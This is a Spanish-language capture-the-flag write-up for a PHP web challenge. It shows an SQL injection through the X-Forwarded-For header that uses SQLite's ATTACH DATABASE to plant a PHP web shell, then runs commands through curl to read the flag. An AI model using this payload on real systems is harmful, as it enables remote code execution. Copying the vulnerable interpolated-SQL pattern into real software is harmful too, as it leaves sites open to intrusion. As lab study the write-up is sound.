Intergalactic Post
4 minutos de lectura
Se nos proporciona una aplicación web en PHP con una única funcionalidad, que es poner un email en un formulario.
Empezamos analizando el código fuente. El archivo index.php
muestra que solo hay dos rutas (GET y POST):
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$database = new Database('/tmp/challenge.db');
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/subscribe', 'SubsController@store');
die($router->match());
Vemos que Database.php
es vulnerable a inyección de código SQL:
<?php
class Database
{
private static $database = null;
public function __construct($file)
{
if (!file_exists($file))
{
file_put_contents($file, '');
}
$this->db = new SQLite3($file);
$this->migrate();
self::$database = $this;
}
public static function getDatabase(): Database
{
return self::$database;
}
public function migrate()
{
$this->db->query('
CREATE TABLE IF NOT EXISTS `subscribers` (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip_address VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL
);
');
}
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}
}
Esto ocurre porque se está utilizando interpolación de strings en PHP, por lo que el contenido de las variables $ip_address
y $email
se inserta en la consulta SQL sin sanitización:
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
Esta función subscribeUser
se llama desde models/SubscriberModel.php
:
<?php
class SubscriberModel extends Model
{
public function __construct()
{
parent::__construct();
}
public function getSubscriberIP()
{
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER["REMOTE_ADDR"];
} else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER["HTTP_CLIENT_IP"];
}
return '';
}
public function subscribe($email)
{
$ip_address = $this->getSubscriberIP();
return $this->database->subscribeUser($ip_address, $email);
}
}
Además, el método subscribe
es llamado desde controllers/SubsController.php
:
<?php
class SubsController extends Controller
{
public function __construct()
{
parent::__construct();
}
public function store($router)
{
$email = $_POST['email'];
if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
header('Location: /?success=false&msg=Please submit a valild email address!');
exit;
}
$subscriber = new SubscriberModel;
$subscriber->subscribe($email);
header('Location: /?success=true&msg=Email subscribed successfully!');
exit;
}
public function logout($router)
{
session_destroy();
header('Location: /admin');
exit;
}
}
Aquí vemos que $email
se valida como una dirección de correo electrónico, por lo que no podremos explorar SQLi mediante $email
.
Sin embargo, la variable $ip_address
viene de una cabecera de petición HTTP, por lo que la podemos usar para introducir nuestro payload de SQLi. En concreto, usaremos la cabecera X-Forwarded-For
:
public function getSubscriberIP()
{
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}
// ...
}
Además, tenemos que tener en cuenta el tipo de gestor de base de datos que tenemos que explotar. Tenemos que explotar una base de datos SQLite.
Sin embargo, el exploit no estará centrado en extraer información de la base de datos, porque no hay nada útil almacenado en ella. Además, SQLite no permite leer archivos del servidor.
Echando un vistazo en PayloadsAllTheThings, podemos ver que hay una posibilidad de ganar ejecución remota de comandos (RCE) en aplicaciones web PHP si se utiliza SQLite. Este es el payload:
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
Lo que hace es crear una nueva base de datos con extensión .php
y añadir código PHP, de manera que podamos requerir dicho archivo desde el servidor web y el código PHP se ejecute.
Vamos a iniciar la instancia de Docker para probar la estrategia de explotación de forma local. Tenemos este formulario para añadir el email:
Interceptamos la petición con Burp Suite y la mandamos a Repeater para modificar los parámetros de petición:
Cambié un poco el payload de SQLi, pero es muy similar. Nótese que el directorio raíz del servidor es /www
, por lo que la nueva base de datos tiene que ir en /www/databasexx.php
:
Genial, si todo está bien, deberíamos tener RCE y por tanto conseguir la flag con cat /flag*
(se sabe que la flag tiene un nombre parcialmente aleatorio porque está así configurado en el Dockerfile
):
$ curl '127.0.0.1:1337/databasexx.php?cmd=cat%20/flag*' -o-
��@�AAAAAAAAAA HTB{f4k3_fl4g_f0r_t3st1ng}taz text)
AAAAAAAAA
$ curl '127.0.0.1:1337/databasexx.php?cmd=cat%20/flag*' -so- | strings | grep -oE 'HTB\{.*?\}'
HTB{f4k3_fl4g_f0r_t3st1ng}
Ahora tenemos que iniciar la instancia remote y reproducir el ataque. Finalmente, obtenemos la flag:
$ curl '139.59.163.221:30572/databasexx.php?cmd=cat%20/flag*' -so- | strings | grep -oE 'HTB\{.*?\}'
HTB{inj3ct3d_th3_in3vit4bl3_tru7h}